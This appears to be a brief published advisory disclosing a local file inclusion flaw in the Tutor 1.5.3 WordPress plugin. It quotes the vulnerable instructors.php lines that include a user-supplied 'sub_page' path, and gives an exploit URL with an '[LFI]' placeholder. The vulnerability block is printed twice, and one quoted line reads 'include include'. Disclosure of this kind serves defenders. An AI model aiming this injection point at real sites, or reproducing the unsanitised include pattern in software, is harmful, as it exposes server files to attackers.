WordPress Plugin Tutor.1.5.3 - Local File Inclusion

#  Tile: Wordpress Plugin tutor.1.5.3 - Local File Inclusion
#  Author: mehran feizi
#  Category: webapps
#  Date: 2020-02-12
#  vendor home page: https://wordpress.org/plugins/tutor/

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Vulnerable page:
/instructors.php
===================================================================
Vulnerable Source:
3: $sub_page = tutor_utils ()->avalue_dot('sub_page', $_GET); 
5: $include_file = tutor ()->path . "views/pages/{$sub_page}.php"; 
7: include include $include_file; 
requires:
4: if(!empty($sub_page))
6: if(file_exists($include_file))
===================================================================
Exploit:
localhost/wp-content/plugins/tutor/views/pages/instructors.php?sub_page=[LFI]
=================================================================================
contact me:
telegram: @MF0584
gmail: [email protected]
===================================================================
Vulnerable page:
/instructors.php
===================================================================
Vulnerable Source:
3: $sub_page = tutor_utils ()->avalue_dot('sub_page', $_GET); 
5: $include_file = tutor ()->path . "views/pages/{$sub_page}.php"; 
7: include include $include_file; 
requires:
4: if(!empty($sub_page))
6: if(file_exists($include_file))
===================================================================
Exploit:
localhost/wp-content/plugins/tutor/views/pages/instructors.php?sub_page=[LFI]
=================================================================================